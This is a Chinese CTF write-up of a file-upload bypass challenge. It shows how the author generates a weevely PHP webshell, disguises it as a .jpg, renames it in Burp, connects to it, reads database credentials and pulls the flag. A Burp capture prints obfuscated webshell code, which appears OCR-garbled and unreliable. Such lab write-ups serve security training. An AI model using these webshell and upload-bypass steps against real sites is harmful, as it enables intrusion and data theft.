## web狗之writeup--do you know upload?



### Do you know upload?

#### Description

加油吧,少年。(说了等于没说)

#### **Solution**

这是一道上传绕过的题目,其实没有什么特别的地方。这里就是想介绍一下自己使用的一个特别好的工具,就 是 weevely。这个工具是 kali 中类似于中国菜刀的工具,功能强大。这里主要介绍一下简单的使用以及我是用 的时候一个小小的坑。

打开网站,可以看到是一个图片上传的页面:



# Filename: 选择文件 未选择任何文件

Submit

🖄 madMen

没有什么特殊的地方,打开开发者工具,可以看到 html 包含了一段注释的代码:

```
<!--
include($_GET['file']);
--&gt;
```

那么可以断定后台应该使用的是 php 了。那么可以上传一个 php 木马来连接服务器了。上传绕过的经典套路就 是先生成一个木马,然后将文件后缀改为图片格式,然后在 burp 中再将文件名改过来。下面就是 weevely 的使 用了。

首先在 kali 中搜索这个工具打开,先生成木马: ( weevely generate<password><path> )



这样我们就在 /root/project 中生成了一个 cmd.php 木马。下面就是如何将这个马上传了。首先将这个文件的后 缀名改为 jpg, 然后选择图片上传, 然后在 burp 中将文件名修改为 cmd.php:

● ● ● □ □ □	0
Applications 👻 Places 👻 📳 burp-StartBurp 👻 Sun 10:00	1 💉 🕬 🔿 🗸
Burp Suite Community Edition v1.7.32 - Temporary Project	000
Burp Intruder Repeater Window Help	
Target         Proxy         Spider         Scanner         Intruder         Repeater         Sequencer         Decoder         Comparer         Extender         Project options         User options         Alerts	
Intercept HTTP history WebSockets history Options	
Request to http://b1079b4419f4422495bcc5e7f2ed3aadaf3c27ada68843c7.game.ichunqiu.com:80 [106.39.208.9]	
Forward Drop Intercept is on Action Comment this	s item 🚺 🔋
Raw Params Headers Hex	
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://b1079b4419f4422495bcc5e7f2ed3aadaf3c27ada68843c7.game.ichunqiu.com/ Connection: close Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=1222729664343082375899902531 Content-Length: 1933	
Content-Disposition: form-data; name="dir" /uploads/ 	
<pre><?php \$U='[E[E[E[N;\$ss="substr";\$slE[E[="strtoloE[E[wE[er";\$i=\$m[1][0].\$m[E[1][1];E[\$h=\$sl(\$ss(mE'; \$L='[<count(\$m[1]);\$z++)\$e[p.=\$q[\$m[e[2][\$e[2]e[];if[strpe[os(\$p,\$h)e[===0)e[{e[\$s[\$i]=""e['; \$c='e64_dE[ecode(pE[E[reE[g_replace(arrayE[("/E[_e[/","/-/"),arraE[y("/E[","+"),\$ssE[(\$E[SE[['; \$a='ncoE[de(x(gzcE[compress(SoE[),\$k))E];E[print("&lt;\$kE[&gt;\$d<!--\$k-->")E[;@essE[siE[on_destroyE[();})}); \$m=str_replace('Cd','','crCdeaCdtCde_CdfunCdctiCdon'); \$o='siE[],\$fE[);iE[f(\$e){\$k=\$E[kh.\$kf;ob_SE[tE[art();@e[evE[al(@gzuE[ncompress(@x(@E[bE[as'; \$T='E[=\$t{\$i}^s[sq=arE[raE[y_valE[ues(\$E[0]E[;preg_match_all("/(E[[\wE[1]/\wedE[x"];\$ra=@\$'; \$g='u["queE[ry"E[],\$q]=rE[sq=arE[raE[y_valE[ues(\$E[0]E[;preg_match_all("/(E[[\wedE[x]];\$ra=@\$; \$g='u["queE[ry"E]],\$f[[sq=arE[raE[y_valE[ues(\$E[0]E[;se[caE[&amp;§i&lt;\$l);E[se[[k]=t+E[,\$i++){\$o.'; \$g='s[ss[E[=1]a1E[d";\$kf="c9E[1c";funcE[tion x(\$t,E[\$k){\$ke[c=strlen(\$E[k];\$E[==trlenE[(\$t);'; \$W='?E[:E[;qE[E]=0.([\\d]))?,",",E[\$ra,\$m);if(E[\$E[qd&amp;&amp;\$mE[){@essicE[ns].\$=p;\$=se=stpE[os(\$s[E['; \$so='tE[["E[HE[TTP_AE[CCEPT_LANGUAGE"];EIif(\$rrE[&amp;E[&amp;\$raE[]]{\$essicE[ns].\$=p;\$=se=stpE[os(\$s[E['; \$so='tE[["E[HE[TTP_AE[CCEPT_LANGUAGE"];EIif(\$rrE[&amp;E[&amp;\$sraE]){\$so[]=se];\$=se=trpE[os(\$s[E[:]; \$so='te[["e[lac([\]]));\$&gt;o=oE[b_get_E[coE[ntents();obE[_endE[E[_clean()E[;\$e]=ast][cae]e4_e'; \$se='s]ds(\$i.\$kE[h),0,E[3E[))E[;\$f=\$\$l(E[\$se[s(md5(\$i.\$kf),0,3E[));E[\$p="";for(E[\$z=1E[;E[\$E[zE'; \$sP=\$sm('',\$sB);\$P(); ?&gt;</count(\$m[1]);\$z++)\$e[p.=\$q[\$m[e[2][\$e[2]e[];if[strpe[os(\$p,\$h)e[===0)e[{e[\$s[\$i]=""e['; </pre>	madMen
? < + > Type a search term	0 matches

文件上传成功,保存在 upload/路径下。下面就可以通过 weevely 拿到后门了。上传之后,首先访问一下文件路径。然后通过命令: weevely<url-path><password> 就可以连接远程机器了:



接着就可以控制机器了,首先可以看到 upload 路径,路径即是上传的文件。可以看到 html 路径下有多个文件,比如 ctf.sql 以及 config.php。ctf.sql 是一个空文件,里面没有任何内容。打开 config.php 可以看到是一段 php 代码:

```
<?php
error_reporting(0);
session_start();
$servername = "localhost";
$username = "ctf";
$password = "ctfctfctf";
$database = "ctf";
// 创建连接
$conn = mysql_connect($servername,$username,$password) or die(" connect to mysql error");
mysql_select_db($database);
?&gt;
```

可以看到代码主要是一段 mysql 数据库的连接,数据库连接的信息都给出了。下面就是可以使用 sql\_console 模块来进行数据库的交互了。通过 :sql\_console-u ctf-p ctfctfctf 就可以连接数据库了。接 下来可以看到数据库的信息以及表格的信息。



可以看到除了 information\_schema 数据库,还有一个叫 ctf 的数据库,而且在 ctf 数据库中还有一个叫 flag 的表格。很明显,flag 很有可能就在在这个表格中。但是使用 select\*fromflag 总是提示

[-][console]Nodata returnedCheckcredentialsandDB availability 。找了 很多办法,但始终没办法查出来。后来才知道 weevely 无法保存数据库的状态,所以无法使用 usedatbasename 这样的语句。其实使用 select\*fromctf.flag 就可以拿到

flag 了啊。

以上。



可以扫描二维码或者搜索微信号 mad\_coder 关注公众号,原文链接包含外链信息。